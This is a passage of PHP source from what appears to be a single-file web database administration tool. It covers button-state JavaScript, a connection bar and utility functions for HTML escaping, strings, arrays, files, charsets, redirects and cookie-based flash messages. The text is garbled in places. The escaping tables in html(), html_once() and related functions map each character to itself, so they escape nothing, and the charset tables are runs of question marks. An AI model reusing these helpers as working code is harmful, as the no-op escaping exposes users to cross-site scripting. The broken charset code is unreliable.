1904 //return alert("button_click() failed, unknown button type");
1905 }
1906 }
1907 function button_click_sess_done(but)
1908 {
1909 if (but.getAttribute('button_click_sess_done') == 1 || but.form && but.form.getAttribute('button_click_sess_done') == 1) {
1910 if (but.getAttribute('button_click_sess_done') == 1) {
1911 but.setAttribute('button_click_sess_done', 0);
1912 }
1913 if (but.form && but.form.getAttribute('button_click_sess_done') == 1) {
1914 but.form.setAttribute('button_click_sess_done', 0);
1915 }
1916 return true;
1917 }
1918 return false;
1919 }
1920 function button_disable_sess_done(but)
1921 {
1922 if (but.getAttribute('button_disable_sess_done') == 1 || but.form && but.form.getAttribute('button_disable_sess_done') == 1) {
1923 if (but.getAttribute('button_disable_sess_done') == 1) {
1924 but.setAttribute('button_disable_sess_done', 0);
1925 }
1926 if (but.form && but.form.getAttribute('button_disable_sess_done') == 1) {
1927 but.form.setAttribute('button_disable_sess_done', 0);
1928 }
1929 return true;
1930 }
1931 return false;
1932 }
1933 function button_disable(button)
1934 {
1935 button.disabled = true;
1936 if (button.name)
1937 {
1938
1939 var form = button.form;
1940 var input = document.createElement('input');
1941 input.setAttribute('type', 'hidden');
1942 input.setAttribute('name', button.name);
1943 input.setAttribute('value', button.value);
1944 form.appendChild(input);
1945 }
1946 }
1947 function button_wait(but)
1948 {
1949 //but.value += " ..";
1950 but.className = but.className + ' button_click';
1951 }
1952 function button_clear(but)
1953 {
1954 if (but.tagName == 'FORM') {
1955 var form = but;
1956 for (var i = 0; i < form.elements.length; i++) {
1957 button_clear(form.elements[i]);
1958 }
1959 form.setAttribute('button_click', 0);
1960 form.setAttribute('button_click_sess_done', 1);
1961 form.setAttribute('button_disable_sess_done', 1);
1962 } else {
1963 if (but.type == 'submit' || but.type == 'button')
1964 {
1965 if (but.getAttribute('button_click') == 1) {
1966 //but.value = but.value.replace(/[ ]?\.{2,}$/, '');
1967 but.className = but.className.replace('button_click', '');
1968 but.setAttribute('button_click', 0);
1969 but.setAttribute('button_click_sess_done', 1);
1970 but.setAttribute('button_disable_sess_done', 1);
1971 }
1972 if (but.form && but.form.getAttribute('button_click') == 1) {
1973 but.form.setAttribute('button_click', 0);
1974 but.form.setAttribute('button_click_sess_done', 1);
1975 but.form.setAttribute('button_disable_sess_done', 1);
1976 }
1977 }
1978 }
1979 }
1980 button_init();
1981 </script>
1982 <?php
1983}
1984function conn_info()
1985{
1986 global $db_driver, $db_server, $db_name, $db_user, $db_charset, $page_charset, $charset1, $charset2;
1987 $dbs = list_dbs();
1988 $db_name = $db_name;
1989 ?>
1990 <p>
1991 Driver: <b><?php echo $db_driver;?></b>
1992 -
1993 Server: <b><?php echo $db_server;?></b>
1994 -
1995 User: <b><?php echo $db_user;?></b>
1996 -
1997 <a class=blue href="<?php echo $_SERVER['PHP_SELF'];?>?execute_sql=1">Execute SQL</a>
1998 ( open in <a class=blue href="javascript:void(0)" onclick="popup('<?php echo $_SERVER['PHP_SELF'];?>?execute_sql=1&popup=1')">Popup</a> )
1999 -
2000 Database: <select name="db_name" onchange="location='<?php echo $_SERVER['PHP_SELF'];?>?db_name='+this.value"><?php echo options($dbs, $db_name);?></select>
2001 -
2002 Db charset: <select name="db_charset" onchange="location='<?php echo $_SERVER['PHP_SELF'];?>?db_charset='+this.value+'&from=<?php echo urlencode($_SERVER['REQUEST_URI']);?>'">
2003 <option value=""></option><?php echo options($charset1, $db_charset);?></select>
2004 -
2005 Page charset: <select name="page_charset" onchange="location='<?php echo $_SERVER['PHP_SELF'];?>?page_charset='+this.value+'&from=<?php echo urlencode($_SERVER['REQUEST_URI']);?>'">
2006 <option value=""></option><?php echo options($charset2, $page_charset);?></select>
2007 -
2008 <a class=blue href="<?php echo $_SERVER['PHP_SELF'];?>?disconnect=1">Disconnect</a>
2009 </p>
2010 <?php
2011}
2012function size($bytes)
2013{
2014 return number_format(ceil($bytes / 1024),0,'',',').' KB';
2015}
2016function html($s)
2017{
2018 $html = array(
2019 '&' => '&',
2020 '<' => '<',
2021 '>' => '>',
2022 '"' => '"',
2023 '\'' => '''
2024 );
2025 $s = preg_replace('/&#(\d+)/', '@@@@@#$1', $s);
2026 $s = str_replace(array_keys($html), array_values($html), $s);
2027 $s = preg_replace('/@@@@@#(\d+)/', '&#$1', $s);
2028 return trim($s);
2029}
2030function html_undo($s)
2031{
2032 $html = array(
2033 '&' => '&',
2034 '<' => '<',
2035 '>' => '>',
2036 '"' => '"',
2037 '\'' => '''
2038 );
2039 return str_replace(array_values($html), array_keys($html), $s);
2040}
2041function html_once($s)
2042{
2043 $s = str_replace(array('<','>','&lt;','&gt;'),array('<','>','<','>'),$s);
2044 return str_replace(array('<','>','<','>'),array('&lt;','&gt;','<','>'),$s);
2045}
2046function html_tags($s)
2047{
2048 // succession of str_replace array is important! double escape bug..
2049 return str_replace(array('<','>','<','>'), array('&lt;','&gt;','<','>'), $s);
2050}
2051function html_tags_undo($s)
2052{
2053 return str_replace(array('<','>','&lt;', '&gt;'), array('<','>','<','>'), $s);
2054}
2055function html_allow_tags($s, $allow)
2056{
2057 $s = html_once(trim($s));
2058 preg_match_all('#<([a-z]+)>#i', $allow, $match);
2059 foreach ($match[1] as $tag) {
2060 $s = preg_replace('#<'.$tag.'\s+style\s*=\s*"([^"<>]+)"\s*>#i', '<'.$tag.' style="$1">', $s);
2061 $s = str_replace('<'.$tag.'>', '<'.$tag.'>', $s);
2062 $s = str_replace('</'.$tag.'>', '</'.$tag.'>', $s);
2063 }
2064 return $s;
2065}
2066function str_truncate($string, $length, $etc = ' ..', $break_words = true)
2067{
2068 if ($length == 0) {
2069 return '';
2070 }
2071 if (strlen($string) > $length + strlen($etc)) {
2072 if (!$break_words) {
2073 $string = preg_replace('/\s+?(\S+)?$/', '', substr($string, 0, $length+1));
2074 }
2075 return substr($string, 0, $length) . $etc;
2076 }
2077 return $string;
2078}
2079function str_bind($s, $dat = array(), $strict = false, $recur = 0)
2080{
2081 if (!is_array($dat)) {
2082 return trigger_error('str_bind() failed. Second argument expects to be an array.', E_USER_ERROR);
2083 }
2084 if ($strict) {
2085 foreach ($dat as $k => $v) {
2086 if (strpos($s, "%$k%") === false) {
2087 return trigger_error(sprintf('str_bind() failed. Strict mode On. Key not found = %s. String = %s. Data = %s.', $k, $s, print_r($dat, 1)), E_USER_ERROR);
2088 }
2089 $s = str_replace("%$k%", $v, $s);
2090 }
2091 if (preg_match('#%\w+%#', $s, $match)) {
2092 return trigger_error(sprintf('str_bind() failed. Unassigned data for = %s. String = %s.', $match[0], $sBase), E_USER_ERROR);
2093 }
2094 return $s;
2095 }
2096
2097 $sBase = $s;
2098 preg_match_all('#%\w+%#', $s, $match);
2099 $keys = $match[0];
2100 $num = array();
2101
2102 foreach ($keys as $key)
2103 {
2104 $key2 = str_replace('%', '', $key);
2105 if (is_numeric($key2)) $num[$key] = true;
2106 /* ignore!
2107 if (!array_key_exists($key2, $dat)) {
2108 return trigger_error(sprintf('str_bind() failed. No data found for key: %s. String: %s.', $key, $sBase), E_USER_ERROR);
2109 }
2110 */
2111 $val = $dat[$key2];
2112 /* insecure!
2113 if (preg_match('#%\w+%#', $val) && $recur < 5) {
2114 $val = str_bind($val, $dat, $strict, ++$recur);
2115 }
2116 */
2117 $s = str_replace($key, $val, $s);
2118 }
2119 if (count($num)) {
2120 if (count($dat) != count($num)) {
2121 return trigger_error('str_bind() failed. When using numeric data binding you need to use all data passed to the string. You also cannot mix numeric and name binding.', E_USER_ERROR);
2122 }
2123 }
2124
2125 if (preg_match('#%\w+%#', $s, $match)) {
2126 /* ignore! return trigger_error(sprintf('str_bind() failed. Unassigned data for = %s. String = %s. Data = %s.', $match[0], htmlspecialchars(print_r($sBase, true)), print_r($dat, true)), E_USER_ERROR);*/
2127 }
2128
2129 return $s;
2130}
2131function dir_read($dir, $ignore_ext = array(), $allow_ext = array(), $sort = null)
2132{
2133 if (is_null($ignore_ext)) $ignore_ext = array();
2134 if (is_null($allow_ext)) $allow_ext = array();
2135 foreach ($allow_ext as $k => $ext) {
2136 $allow_ext[$k] = str_replace('.', '', $ext);
2137 }
2138
2139 $ret = array();
2140 if ($handle = opendir($dir)) {
2141 while (($file = readdir($handle)) !== false) {
2142 if ($file != '.' && $file != '..') {
2143 $ignore = false;
2144 foreach ($ignore_ext as $ext) {
2145 if (file_ext_has($file, $ext)) {
2146 $ignore = true;
2147 }
2148 }
2149 if (is_array($allow_ext) && count($allow_ext) && !in_array(file_ext($file), $allow_ext)) {
2150 $ignore = true;
2151 }
2152 if (!$ignore) {
2153 $ret[] = array(
2154 'file' => $dir.'/'.$file,
2155 'time' => filemtime($dir.'/'.$file)
2156 );
2157 }
2158 }
2159 }
2160 closedir($handle);
2161 }
2162 if ('date_desc' == $sort) {
2163 $ret = array_sort_desc($ret, 'time');
2164 }
2165 return array_col($ret, 'file');
2166}
2167function array_col($arr, $col)
2168{
2169 $ret = array();
2170 foreach ($arr as $k => $row) {
2171 $ret[] = $row[$col];
2172 }
2173 return $ret;
2174}
2175function array_sort($arr, $col_key)
2176{
2177 if (is_array($col_key)) {
2178 foreach ($arr as $k => $v) {
2179 $arr[$k]['__array_sort'] = '';
2180 foreach ($col_key as $col) {
2181 $arr[$k]['__array_sort'] .= $arr[$k][$col].'_';
2182 }
2183 }
2184 $col_key = '__array_sort';
2185 }
2186 uasort($arr, create_function('$a,$b', 'if (is_null($a["'.$col_key.'"]) && !is_null($b["'.$col_key.'"])) return 1; if (!is_null($a["'.$col_key.'"]) && is_null($b["'.$col_key.'"])) return -1; return strnatcasecmp($a["'.$col_key.'"], $b["'.$col_key.'"]);'));
2187 if ('__array_sort' == $col_key) {
2188 foreach ($arr as $k => $v) {
2189 unset($arr[$k]['__array_sort']);
2190 }
2191 }
2192 return $arr;
2193}
2194function array_sort_desc($arr, $col_key)
2195{
2196 if (is_array($col_key)) {
2197 foreach ($arr as $k => $v) {
2198 $arr[$k]['__array_sort'] = '';
2199 foreach ($col_key as $col) {
2200 $arr[$k]['__array_sort'] .= $arr[$k][$col].'_';
2201 }
2202 }
2203 $col_key = '__array_sort';
2204 }
2205 uasort($arr, create_function('$a,$b', 'return strnatcasecmp($b["'.$col_key.'"], $a["'.$col_key.'"]);'));
2206 if ('__array_sort' == $col_key) {
2207 foreach ($arr as $k => $v) {
2208 unset($arr[$k]['__array_sort']);
2209 }
2210 }
2211 return $arr;
2212}
2213function options($options, $selected = null, $ignore_type = false)
2214{
2215 $ret = '';
2216 foreach ($options as $k => $v) {
2217 //str_replace('"', '\"', $k)
2218 $ret .= '<option value="'.$k.'"';
2219 if ((is_array($selected) && in_array($k, $selected)) || (!is_array($selected) && $k == $selected && $selected !== '' && $selected !== null)) {
2220 if ($ignore_type) {
2221 $ret .= ' selected="selected"';
2222 } else {
2223 if (!(is_numeric($k) xor is_numeric($selected))) {
2224 $ret .= ' selected="selected"';
2225 }
2226 }
2227 }
2228 $ret .= '>'.$v.' </option>';
2229 }
2230 return $ret;
2231}
2232function sql_files()
2233{
2234 $files = dir_read('.', null, array('.sql'));
2235 $files2 = array();
2236 foreach ($files as $file) {
2237 $files2[md5($file)] = $file.sprintf(' (%s)', size(filesize($file)));
2238 }
2239 return $files2;
2240}
2241function sql_files_assoc()
2242{
2243 $files = dir_read('.', null, array('.sql'));
2244 $files2 = array();
2245 foreach ($files as $file) {
2246 $files2[md5($file)] = $file;
2247 }
2248 return $files2;
2249}
2250function file_ext($name)
2251{
2252 $ext = null;
2253 if (($pos = strrpos($name, '.')) !== false) {
2254 $len = strlen($name) - ($pos+1);
2255 $ext = substr($name, -$len);
2256 if (!preg_match('#^[a-z0-9]+$#i', $ext)) {
2257 return null;
2258 }
2259 }
2260 return $ext;
2261}
2262function checked($bool)
2263{
2264 if ($bool) return 'checked="checked"';
2265}
2266function radio_assoc($checked, $assoc, $input_name, $link = false)
2267{
2268 $ret = '<table cellspacing="0" cellpadding="0"><tr>';
2269 foreach ($assoc as $id => $name)
2270 {
2271 $params = array(
2272 'id' => $id,
2273 'name' => $name,
2274 'checked' => checked($checked == $id),
2275 'input_name' => $input_name
2276 );
2277 if ($link) {
2278 if (is_array($link)) {
2279 $params['link'] = $link[$id];
2280 } else {
2281 $params['link'] = sprintf($link, $id, $name);
2282 }
2283 $ret .= str_bind('<td><input class="checkbox" type="radio" name="%input_name%" id="%input_name%_%id%" value="%id%" %checked%></td><td>%link% </td>', $params);
2284 } else {
2285 $ret .= str_bind('<td><input class="checkbox" type="radio" name="%input_name%" id="%input_name%_%id%" value="%id%" %checked%></td><td><label for="%input_name%_%id%">%name%</label> </td>', $params);
2286 }
2287 }
2288 $ret .= '</tr></table>';
2289 return $ret;
2290}
2291function self($cut_query = false)
2292{
2293 $uri = $_SERVER['REQUEST_URI'];
2294 if ($cut_query) {
2295 $before = str_before($uri, '?');
2296 if ($before) {
2297 return $before;
2298 }
2299 }
2300 return $uri;
2301}
2302function url($script, $params = array())
2303{
2304 $query = '';
2305
2306 /* remove from script url, actual params if exist */
2307 foreach ($params as $k => $v) {
2308 $exp = sprintf('#(\?|&)%s=[^&]*#i', $k);
2309 if (preg_match($exp, $script)) {
2310 $script = preg_replace($exp, '', $script);
2311 }
2312 }
2313
2314 /* repair url like 'script.php&id=12&asd=133' */
2315 $exp = '#\?\w+=[^&]*#i';
2316 $exp2 = '#&(\w+=[^&]*)#i';
2317 if (!preg_match($exp, $script) && preg_match($exp2, $script)) {
2318 $script = preg_replace($exp2, '?$1', $script, 1);
2319 }
2320
2321 foreach ($params as $k => $v) {
2322 if (!strlen($v)) continue;
2323 if ($query) { $query .= '&'; }
2324 else {
2325 if (strpos($script, '?') === false) {
2326 $query .= '?';
2327 } else {
2328 $query .= '&';
2329 }
2330 }
2331 if ('%s' != $v) {
2332 $v = urlencode($v);
2333 }
2334 $v = preg_replace('#%25(\w+)%25#i', '%$1%', $v); // %id_news% etc. used in listing
2335 $query .= sprintf('%s=%s', $k, $v);
2336 }
2337 return $script.$query;
2338}
2339function url_offset($offset, $params = array())
2340{
2341 $url = $_SERVER['REQUEST_URI'];
2342 if (preg_match('#&offset=\d+#', $url)) {
2343 $url = preg_replace('#&offset=\d+#', '&offset='.$offset, $url);
2344 } else {
2345 $url .= '&offset='.$offset;
2346 }
2347 return $url;
2348}
2349function str_wrap($s, $width, $break = ' ', $omit_tags = false)
2350{
2351 //$restart = array(' ', "\t", "\r", "\n");
2352 $restart = array();
2353 $cnt = 0;
2354 $ret = '';
2355 $open_tag = false;
2356 for ($i=0; $i<strlen($s); $i++)
2357 {
2358 $char = $s{$i};
2359
2360 if ($omit_tags)
2361 {
2362 if ($char == '<') {
2363 $open_tag = true;
2364 }
2365 if ($char == '>') {
2366 $open_tag = false;
2367 }
2368 if ($open_tag) {
2369 $ret .= $char;
2370 continue;
2371 }
2372 }
2373
2374 if (in_array($char, $restart)) {
2375 $cnt = 0;
2376 } else {
2377 $cnt++;
2378 }
2379 $ret .= $char;
2380 if ($cnt > $width) {
2381 $ret .= $break;
2382 $cnt = 0;
2383 }
2384 }
2385 return $ret;
2386}
2387function time_micro()
2388{
2389 list($usec, $sec) = explode(" ", microtime());
2390 return ((float)$usec + (float)$sec);
2391}
2392function time_start()
2393{
2394 return time_micro();
2395}
2396function time_end($start)
2397{
2398 $end = time_micro();
2399 $end = round($end - $start, 3);
2400 $end = pad_zeros($end, 3);
2401 return $end;
2402}
2403function str_has($str, $needle, $ignore_case = false)
2404{
2405 if (is_array($needle)) {
2406 foreach ($needle as $n) {
2407 if (!str_has($str, $n, $ignore_case)) {
2408 return false;
2409 }
2410 }
2411 return true;
2412 }
2413 if ($ignore_case) {
2414 $str = str_lower($str);
2415 $needle = str_lower($needle);
2416 }
2417 return strpos($str, $needle) !== false;
2418}
2419function str_has_any($str, $arr_needle, $ignore_case = false)
2420{
2421 if (is_string($arr_needle)) {
2422 $arr_needle = preg_replace('#\s+#', ' ', $arr_needle);
2423 $arr_needle = explode(' ', $arr_needle);
2424 }
2425 foreach ($arr_needle as $needle) {
2426 if (str_has($str, $needle, $ignore_case)) {
2427 return true;
2428 }
2429 }
2430 return false;
2431}
2432function str_before($str, $needle)
2433{
2434 $pos = strpos($str, $needle);
2435 if ($pos !== false) {
2436 $before = substr($str, 0, $pos);
2437 return strlen($before) ? $before : false;
2438 } else {
2439 return false;
2440 }
2441}
2442function pad_zeros($number, $zeros)
2443{
2444 if (str_has($number, '.')) {
2445 preg_match('#\.(\d+)$#', $number, $match);
2446 $number .= str_repeat('0', $zeros-strlen($match[1]));
2447 return $number;
2448 } else {
2449 return $number.'.'.str_repeat('0', $zeros);
2450 }
2451}
2452function charset_fix_invalid($s)
2453{
2454 $fix = '???????????';
2455 $s = str_replace(str_array($fix), '', $s);
2456 return $s;
2457}
2458function charset_is_invalid($s)
2459{
2460 $fix = '???????????';
2461 $fix = str_array($fix);
2462 foreach ($fix as $char) {
2463 if (str_has($s, $char)) {
2464 return true;
2465 }
2466 }
2467 return false;
2468}
2469function charset_fix($string)
2470{
2471 // UTF-8 && WIN-1250 => ISO-8859-2
2472 // todo: is checking required? redundant computing?
2473 if (charset_win_is($string)) {
2474 $string = charset_win_fix($string);
2475 }
2476 if (charset_utf_is($string)) {
2477 $string = charset_utf_fix($string);
2478 }
2479 return $string;
2480}
2481function charset_win_is($string)
2482{
2483 $win = '??????????????????';
2484 $iso = '??????????????????';
2485 for ($i=0; $i<strlen($win); $i++) {
2486 if ($win{$i} != $iso{$i}) {
2487 if (strstr($string, $win{$i}) !== false) {
2488 return true;
2489 }
2490 }
2491 }
2492 return false;
2493}
2494function charset_win_fix($string)
2495{
2496 $win = '??????????????????';
2497 $iso = '??????????????????';
2498 $srh = array();
2499 $rpl = array();
2500 for ($i = 0; $i < strlen($win); $i++) {
2501 if ($win{$i} != $iso{$i}) {
2502 $srh[] = $win{$i};
2503 $rpl[] = $iso{$i};
2504 }
2505 }
2506 $string = str_replace($srh, $rpl, $string);
2507 return $string;
2508}
2509function charset_utf_is($string)
2510{
2511 $utf_iso = array(
2512 "\xc4\x85" => "\xb1",
2513 "\xc4\x84" => "\xa1",
2514 "\xc4\x87" => "\xe6",
2515 "\xc4\x86" => "\xc6",
2516 "\xc4\x99" => "\xea",
2517 "\xc4\x98" => "\xca",
2518 "\xc5\x82" => "\xb3",
2519 "\xc5\x81" => "\xa3",
2520 "\xc3\xb3" => "\xf3",
2521 "\xc3\x93" => "\xd3",
2522 "\xc5\x9b" => "\xb6",
2523 "\xc5\x9a" => "\xa6",
2524 "\xc5\xba" => "\xbc",
2525 "\xc5\xb9" => "\xac",
2526 "\xc5\xbc" => "\xbf",
2527 "\xc5\xbb" => "\xaf",
2528 "\xc5\x84" => "\xf1",
2529 "\xc5\x83" => "\xd1",
2530 // xmlhttprequest utf-8 encoding
2531 "%u0104" => "\xA1",
2532 "%u0106" => "\xC6",
2533 "%u0118" => "\xCA",
2534 "%u0141" => "\xA3",
2535 "%u0143" => "\xD1",
2536 "%u00D3" => "\xD3",
2537 "%u015A" => "\xA6",
2538 "%u0179" => "\xAC",
2539 "%u017B" => "\xAF",
2540 "%u0105" => "\xB1",
2541 "%u0107" => "\xE6",
2542 "%u0119" => "\xEA",
2543 "%u0142" => "\xB3",
2544 "%u0144" => "\xF1",
2545 "%u00D4" => "\xF3",
2546 "%u015B" => "\xB6",
2547 "%u017A" => "\xBC",
2548 "%u017C" => "\xBF"
2549 );
2550 foreach ($utf_iso as $k => $v) {
2551 if (strpos($string, $k) !== false) {
2552 return true;
2553 }
2554 }
2555 return false;
2556}
2557function charset_utf_fix($string)
2558{
2559 $utf_iso = array(
2560 "\xc4\x85" => "\xb1",
2561 "\xc4\x84" => "\xa1",
2562 "\xc4\x87" => "\xe6",
2563 "\xc4\x86" => "\xc6",
2564 "\xc4\x99" => "\xea",
2565 "\xc4\x98" => "\xca",
2566 "\xc5\x82" => "\xb3",
2567 "\xc5\x81" => "\xa3",
2568 "\xc3\xb3" => "\xf3",
2569 "\xc3\x93" => "\xd3",
2570 "\xc5\x9b" => "\xb6",
2571 "\xc5\x9a" => "\xa6",
2572 "\xc5\xba" => "\xbc",
2573 "\xc5\xb9" => "\xac",
2574 "\xc5\xbc" => "\xbf",
2575 "\xc5\xbb" => "\xaf",
2576 "\xc5\x84" => "\xf1",
2577 "\xc5\x83" => "\xd1",
2578 // xmlhttprequest uses different encoding
2579 "%u0104" => "\xA1",
2580 "%u0106" => "\xC6",
2581 "%u0118" => "\xCA",
2582 "%u0141" => "\xA3",
2583 "%u0143" => "\xD1",
2584 "%u00D3" => "\xD3",
2585 "%u015A" => "\xA6",
2586 "%u0179" => "\xAC",
2587 "%u017B" => "\xAF",
2588 "%u0105" => "\xB1",
2589 "%u0107" => "\xE6",
2590 "%u0119" => "\xEA",
2591 "%u0142" => "\xB3",
2592 "%u0144" => "\xF1",
2593 "%u00D4" => "\xF3",
2594 "%u015B" => "\xB6",
2595 "%u017A" => "\xBC",
2596 "%u017C" => "\xBF"
2597 );
2598 return str_replace(array_keys($utf_iso), array_values($utf_iso), $string);
2599}
2600function str_starts_with($str, $start, $ignore_case = false)
2601{
2602 if ($ignore_case) {
2603 $str = str_upper($str);
2604 $start = str_upper($start);
2605 }
2606 if (!strlen($str) && !strlen($start)) {
2607 return true;
2608 }
2609 if (!strlen($start)) {
2610 trigger_error('str_starts_with() failed, start arg cannot be empty', E_USER_ERROR);
2611 }
2612 if (strlen($start) > strlen($str)) {
2613 return false;
2614 }
2615 for ($i = 0; $i < strlen($start); $i++) {
2616 if ($start{$i} != $str{$i}) {
2617 return false;
2618 }
2619 }
2620 return true;
2621}
2622function str_ends_with($str, $end, $ignore_case = false)
2623{
2624 if ($ignore_case) {
2625 $str = str_upper($str);
2626 $end = str_upper($end);
2627 }
2628 if (!strlen($str) && !strlen($end)) {
2629 return true;
2630 }
2631 if (!strlen($end)) {
2632 trigger_error('str_ends_with() failed, end arg cannot be empty', E_USER_ERROR);
2633 }
2634 if (strlen($end) > strlen($str)) {
2635 return false;
2636 }
2637 return str_starts_with(strrev($str), strrev($end));
2638 return true;
2639}
2640function str_cut_start($str, $start)
2641{
2642 if (str_starts_with($str, $start)) {
2643 $str = substr($str, strlen($start));
2644 }
2645 return $str;
2646}
2647function str_cut_end($str, $end)
2648{
2649 if (str_ends_with($str, $end)) {
2650 $str = substr($str, 0, -strlen($end));
2651 }
2652 return $str;
2653}
2654function file_get($file)
2655{
2656 return file_get_contents($file);
2657}
2658function file_put($file, $s)
2659{
2660 $fp = fopen($file, 'wb') or trigger_error('fopen() failed: '.$file, E_USER_ERROR);
2661 if ($fp) {
2662 fwrite($fp, $s);
2663 fclose($fp);
2664 }
2665}
2666function file_date($file)
2667{
2668 return date('Y-m-d H:i:s', filemtime($file));
2669}
2670function dir_exists($dir)
2671{
2672 return file_exists($dir) && !is_file($dir);
2673}
2674function dir_delete_old_files($dir, $ext = array(), $sec)
2675{
2676 // NOT USED right now.
2677 // older than x seconds
2678 $files = dir_read($dir, null, $ext);
2679 $time = time() - $sec;
2680 foreach ($files as $file) {
2681 if (file_time($file) < $time) {
2682 unlink($file);
2683 }
2684 }
2685}
2686global $_error, $_error_style;
2687$_error = array();
2688$_error_style = '';
2689
2690function error($msg = null)
2691{
2692 if (isset($msg) && func_num_args() > 1) {
2693 $args = func_get_args();
2694 $msg = call_user_func_array('sprintf', $args);
2695 }
2696 global $_error, $_error_style;
2697 if (isset($msg)) {
2698 $_error[] = $msg;
2699 }
2700 if (!count($_error)) {
2701 return null;
2702 }
2703 if (count($_error) == 1) {
2704 return sprintf('<div class="error" style="%s">%s</div>', $_error_style, $_error[0]);
2705 }
2706 $ret = '<div class="error" style="'.$_error_style.'">Following errors appeared:<ul>';
2707 foreach ($_error as $msg) {
2708 $ret .= sprintf('<li>%s</li>', $msg);
2709 }
2710 $ret .= '</ul></div>';
2711 return $ret;
2712}
2713function timestamp($time, $span = true)
2714{
2715 $time_base = $time;
2716 $time = substr($time, 0, 16);
2717 $time2 = substr($time, 0, 10);
2718 $today = date('Y-m-d');
2719 $yesterday = date('Y-m-d', time()-3600*24);
2720 if ($time2 == $today) {
2721 if (substr($time_base, -8) == '00:00:00') {
2722 $time = 'Today';
2723 } else {
2724 $time = 'Today'.substr($time, -6);
2725 }
2726 } else if ($time2 == $yesterday) {
2727 $time = 'Yesterday'.substr($time, -6);
2728 }
2729 return '<span style="white-space: nowrap;">'.$time.'</span>';
2730}
2731function str_lower($str)
2732{
2733 /* strtolower iso-8859-2 compatible */
2734 $lower = str_array(iso_chars_lower());
2735 $upper = str_array(iso_chars_upper());
2736 $str = str_replace($upper, $lower, $str);
2737 $str = strtolower($str);
2738 return $str;
2739}
2740function str_upper($str)
2741{
2742 /* strtoupper iso-8859-2 compatible */
2743 $lower = str_array(iso_chars_lower());
2744 $upper = str_array(iso_chars_upper());
2745 $str = str_replace($lower, $upper, $str);
2746 $str = strtoupper($str);
2747 return $str;
2748}
2749function str_array($str)
2750{
2751 $arr = array();
2752 for ($i = 0; $i < strlen($str); $i++) {
2753 $arr[$i] = $str{$i};
2754 }
2755 return $arr;
2756}
2757function iso_chars()
2758{
2759 return iso_chars_lower().iso_chars_upper();
2760}
2761function iso_chars_lower()
2762{
2763 return '?????????';
2764}
2765function iso_chars_upper()
2766{
2767 return '?????????';
2768}
2769function array_first_key($arr)
2770{
2771 $arr2 = $arr;
2772 reset($arr);
2773 list($key, $val) = each($arr);
2774 return $key;
2775}
2776function array_first($arr)
2777{
2778 return array_first_value($arr);
2779}
2780function array_first_value($arr)
2781{
2782 $arr2 = $arr;
2783 return array_shift($arr2);
2784}
2785function array_col_values($arr, $col)
2786{
2787 $ret = array();
2788 foreach ($arr as $k => $row) {
2789 $ret[] = $row[$col];
2790 }
2791 return $ret;
2792}
2793function array_col_values_unique($arr, $col)
2794{
2795 return array_unique(array_col_values($arr, $col));
2796}
2797function array_col_match($rows, $col, $pattern)
2798{
2799 if (!count($rows)) {
2800 trigger_error('array_col_match(): array is empty', E_USER_ERROR);
2801 }
2802 $ret = true;
2803 foreach ($rows as $row) {
2804 if (!preg_match($pattern, $row[$col])) {
2805 return false;
2806 }
2807 }
2808 return true;
2809}
2810function array_col_match_unique($rows, $col, $pattern)
2811{
2812 if (!array_col_match($rows, $col, $pattern)) {
2813 return false;
2814 }
2815 return count($rows) == count(array_col_values_unique($rows, $col));
2816}
2817function redirect($url)
2818{
2819 $url = url($url);
2820 header("Location: $url");
2821 exit;
2822}
2823function redirect_notify($url, $msg)
2824{
2825 if (strpos($msg, '<') === false) {
2826 $msg = sprintf('<b>%s</b>', $msg);
2827 }
2828 cookie_set('flash_notify', $msg);
2829 redirect($url);
2830}
2831function redirect_ok($url, $msg)
2832{
2833 if (strpos($msg, '<') === false) {
2834 $msg = sprintf('<b>%s</b>', $msg);
2835 }
2836 cookie_set('flash_ok', $msg);
2837 redirect($url);
2838}
2839function redirect_error($url, $msg)
2840{
2841 if (strpos($msg, '<') === false) {
2842 $msg = sprintf('<b>%s</b>', $msg);
2843 }
2844 cookie_set('flash_error', $msg);
2845 redirect($url);
2846}
2847function flash()
2848{
2849 static $is_style = false;
2850
2851 $flash_error = cookie_get('flash_error');
2852 $flash_ok = cookie_get('flash_ok');
2853 $flash_notify = cookie_get('flash_notify');
2854
2855 $flash_error = filter_allow_tags($flash_error, '<b><i><u><br><span>');
2856 $flash_ok = filter_allow_tags($flash_ok, '<b><i><u><br><span>');
2857 $flash_notify = filter_allow_tags($flash_notify, '<b><i><u><br><span>');
2858
2859 if (!($flash_error || $flash_ok || $flash_notify)) {
2860 return false;
2861 }
2862
2863 ob_start();
2864 ?>
2865
2866 <?php if (!$is_style): ?>
2867 <style type="text/css">
2868 #flash { background: #ffffd7; padding: 0.3em; padding-bottom: 0.15em; border: #ddd 1px solid; margin-bottom: 1em; }
2869 #flash div { padding: 0em 0em; }
2870 #flash table { font-weight: normal; }
2871 #flash td { text-align: left; }
2872 </style>
2873 <?php endif; ?>
2874
2875 <div id="flash" ondblclick="document.getElementById('flash').style.display='none';">
2876 <table width="100%" ondblclick="document.getElementById('flash').style.display='none';"><tr>
2877 <td style="line-height: 14px;"><?php echo $flash_error ? $flash_error : ($flash_ok ? $flash_ok : $flash_notify); ?></td></tr></table>
2878 </div>
2879
2880 <?php
2881 $cont = ob_get_contents();
2882 ob_end_clean();
2883
2884 if ($flash_error) cookie_del('flash_error');
2885 else if ($flash_ok) cookie_del('flash_ok');
2886 else if ($flash_notify) cookie_del('flash_notify');
2887
2888 $is_style = true;
2889
2890 return $cont;
2891}
2892function filter($post, $filters)
2893{
2894 if (is_string($filters))
2895 {
2896 $filter = $filters;
2897 $func = 'filter_'.$filter;
2898 foreach ($post as $key => $val) {
2899 $post[$key] = call_user_func($func, $post[$key]);
2900 }
2901 return $post;
2902 }
2903 foreach ($filters as $key => $filter)
2904 {
2905 if (!array_key_exists($key, $post)) {
2906 return trigger_error(sprintf('filter() failed. Key missing = %s.', $key), E_USER_ERROR);
2907 }
2908 $func = 'filter_'.$filter;
2909 if (!function_exists($func)) {
2910 return trigger_error(sprintf('filter() failed. Filter missing = %s.', $func), E_USER_ERROR);
2911 }
2912 $post[$key] = call_user_func($func, $post[$key]);
2913 }
2914 return $post;
2915}
2916function filter_html($s)
2917{
2918 if (req_gpc_has($s)) {
2919 $s = html_tags_undo($s);
2920 }
2921 return html(trim($s));
2922}
2923function filter_allow_tags($s, $allow)
2924{
2925 if (req_gpc_has($s)) {
2926 $s = html_tags_undo($s);
2927 }
2928 return html_allow_tags($s, $allow);
2929}
2930function filter_allow_html($s)
2931{
2932 global $SafeHtml;
2933 if (!isset($SafeHtml)) {
2934 include_once 'inc/SafeHtml.php';
2935 }
2936 if (req_gpc_has($s)) {
